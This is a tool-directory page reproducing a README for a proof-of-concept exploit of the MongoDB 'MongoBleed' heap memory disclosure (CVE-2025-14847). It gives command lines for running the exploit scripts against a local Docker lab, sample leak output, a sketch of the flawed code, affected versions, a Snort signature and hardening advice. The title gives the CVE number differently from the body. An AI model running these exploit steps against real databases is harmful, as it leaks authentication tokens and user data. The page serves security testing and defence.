Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-14857-MongoBleed β€” Functional proof-of-concept exploit for CVE-2025-14847 (MongoBleed), a pre-authentication heap memory disclosure vulnerability in MongoDB. Includes automated memory leak detection, pattern analysis, and Docker-based lab environment for authorized security testing and research. | Kitploit
Tools/GitHubGitHub/ermensonx/cve-2025-14857-mongobleed
Memory ForensicsVulnerability AnalysisExploitationPenetration TestingLearning & EducationDatabase Security
GitHubermensonx/cve-2025-14857-mongobleed

CVE-2025-14857-MongoBleed

Functional proof-of-concept exploit for CVE-2025-14847 (MongoBleed), a pre-authentication heap memory disclosure vulnerability in MongoDB. Includes automated memory leak detection, pattern analysis, and Docker-based lab environment for authorized security testing and research.

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share
View Repository
248 months agoNot yet reviewed

CVE-2025-14847 (MongoBleed) - Functional PoC

MongoDB Memory Leak Exploitation - Simulated R6 Attack

CVE MongoDB Status Rate

Complete Proof of Concept for CVE-2025-14847 (MongoBleed)
Tested: βœ… MongoDB 7.0.5 | 14,300+ Successful Exploits | 4 Leaked UUIDs


🎯 About the Project

This repository contains a fully functional Proof of Concept (PoC) for the vulnerability CVE-2025-14847, known as MongoBleed β€” a critical pre‑authentication heap memory disclosure flaw in MongoDB.

Context: The Rainbow Six Siege Incident

In December 2025, the game Rainbow Six Siege suffered a massive attack compromising ~50,000 player accounts. Attackers are suspected to have exploited this vulnerability in the backend MongoDB to leak:

  • πŸ”‘ Server authentication tokens (R6S_SERVER_AUTH_*)
  • πŸ‘€ Player UUIDs and session IDs
  • πŸ›‘οΈ Administrative privilege flags (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)

This PoC simulates the attack with realistic R6 data.


πŸ”₯ Features

  • βœ… 100% Functional Exploit against MongoDB 7.0.5
  • βœ… 3 Exploitation Tools:
    • poc.py - Main exploit with pattern analysis
    • live_leaker.py - Advanced incremental scanning
    • popular_heap.py - Script to populate heap with target data
  • βœ… Complete Docker Environment with vulnerable MongoDB
  • βœ… 1500+ Simulated Documents from R6 backend
  • βœ… Automatic Detection of 10 sensitive patterns (JWT, tokens, UUIDs, IPs)
  • βœ… Structured JSON Reports
  • βœ… Full Technical Documentation (200+ pages)

πŸ“Š Validated Results

MetricResult
MongoDB Tested7.0.5 (Vulnerable)
Success Rate100% (14,300/14,300 requests)
Leaked UUIDs4 unique
Total Leaks33 distinct strings
Largest Leak176 bytes/request
Detected PatternsNetwork logs, UUIDs, system paths

Extracted UUIDs (Real Proof)

246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

πŸš€ Quick Start

Prerequisites

  • Docker & Docker Compose
  • Python 3.8+

Installation

# Clone the repository
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# Start the vulnerable environment
docker-compose up -d

# Wait for initialization (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

Basic Usage

# 1. Populate heap with R6 data
python3 popular_heap.py 50

# 2. Check vulnerability
python3 poc.py --target 127.0.0.1 --check

# 3. Exploit with live leaker (RECOMMENDED)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

Expected Output

[!] MongoBleed Advanced Live Leaker
[!] Target: 127.0.0.1:27017
[!] Range: doc_len 200 β†’ 3000 (offset=500)

[*] Progress: doc_len=245/3000 | Attempts=100 | Success rate=100.0%

[!] R6 PATTERNS DETECTED (doc_len=245):
    [UUID] 1 new:
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

πŸ”¬ How It Works

Vulnerability Mechanism

MongoDB allows message compression via zlib. The vulnerability lies in inadequate validation of declared vs. actual size:

Attacker β†’ {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
          ↓
Server allocates 1MB of heap  ← VULNERABILITY
          ↓
Server decompresses only 50 bytes
          ↓
Server returns the full 1MB!
          └─ 50 bytes = real data
          └─ ~1MB - 50 = MEMORY LEAK

Vulnerable Code (Simplified)

// BEFORE PATCH
size_t uncompressedSize = header.uncompressedSize;  // ← Attacker controlled
buffer = malloc(uncompressedSize);                  // ← Allocates malicious size
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← LEAKS ENTIRE BUFFER

πŸ“‚ Project Structure

MongoDBPoc/
β”œβ”€β”€ poc.py                          # Main exploit
β”œβ”€β”€ live_leaker.py                  # Incremental scanning (✨ Recommended)
β”œβ”€β”€ popular_heap.py                 # Load script
β”œβ”€β”€ docker-compose.yml              # Vulnerable MongoDB 7.0.5
β”œβ”€β”€ init-db.js                      # 1000 players + 500 R6 sessions
β”œβ”€β”€ FULL_TECHNICAL_GUIDE.md        # Detailed documentation (200+ pages)
β”œβ”€β”€ README.MD                       # Documentation in English
└── Portugues/                      # Translated versions
    β”œβ”€β”€ poc_PT.py
    β”œβ”€β”€ README_PT.md
    └── QUICK_GUIDE.md

πŸ›‘οΈ Affected Versions

MongoDB SeriesVulnerable VersionsFixed Version
8.2.x8.2.0 – 8.2.28.2.3
8.0.x8.0.0 – 8.0.168.0.17
7.0.x7.0.0 – 7.0.277.0.28
6.0.x6.0.0 – 6.0.266.0.27
5.0.x5.0.0 – 5.0.315.0.32
4.4.x4.4.0 – 4.4.294.4.30
≀ 4.2AllNo patch (EOL)

πŸ›‘οΈ Detection & Defense

Snort Signature

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed Attempt";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

Secure Configuration (mongod.conf)

net:
  bindIp: 127.0.0.1              # NEVER 0.0.0.0!
  compression:
    compressors: []              # Disable zlib

security:
  authorization: enabled

Mitigation Priorities

  1. πŸ”΄ CRITICAL: Update to patched version
  2. 🟠 HIGH: Disable zlib compression
  3. 🟠 HIGH: Network segmentation (firewall)
  4. 🟑 MEDIUM: Enable authentication

πŸ“š Documentation

  • FULL_TECHNICAL_GUIDE.md - Complete technical analysis (200+ pages)

    • R6 incident context
    • Vulnerability mechanism
    • Vulnerable vs. fixed code
    • Step‑by‑step execution
    • Results and statistics
    • IDS signatures and hardening
  • README.MD - Main documentation (English)

  • Portugues/ - Translated versions


⚠️ Legal Notice

THIS TOOL IS FOR AUTHORIZED TESTING AND EDUCATION ONLY.

Unauthorized use is ILLEGAL and may result in:
- Criminal prosecution (Brazilian Law 12.737/2012)
- Heavy fines
- Imprisonment

Always obtain WRITTEN PERMISSION before testing.

Permitted Use

  • βœ… Penetration tests with written authorization
  • βœ… Academic research in isolated environments
  • βœ… Vendor patch verification
  • βœ… Security team training

Prohibited Use

  • ❌ Scanning or attacking systems without permission
  • ❌ Accessing production databases
  • ❌ Selling or weaponizing this code

πŸ™ Credits

Author: Ermenson Jr
License: MIT (Educational Use)
Date: January 2026

References

  • MongoDB Security Advisory
  • CVE-2025-14847 NVD
  • Akamai SIRT: MongoBleed Analysis
  • Aikido Security

πŸ“§ Contact

For technical questions or collaboration on security research:

  • GitHub Issues: Use the Issues tab of this repository
  • Academic Email: Available on GitHub profile

🌟 If This Project Was Helpful

Download Tool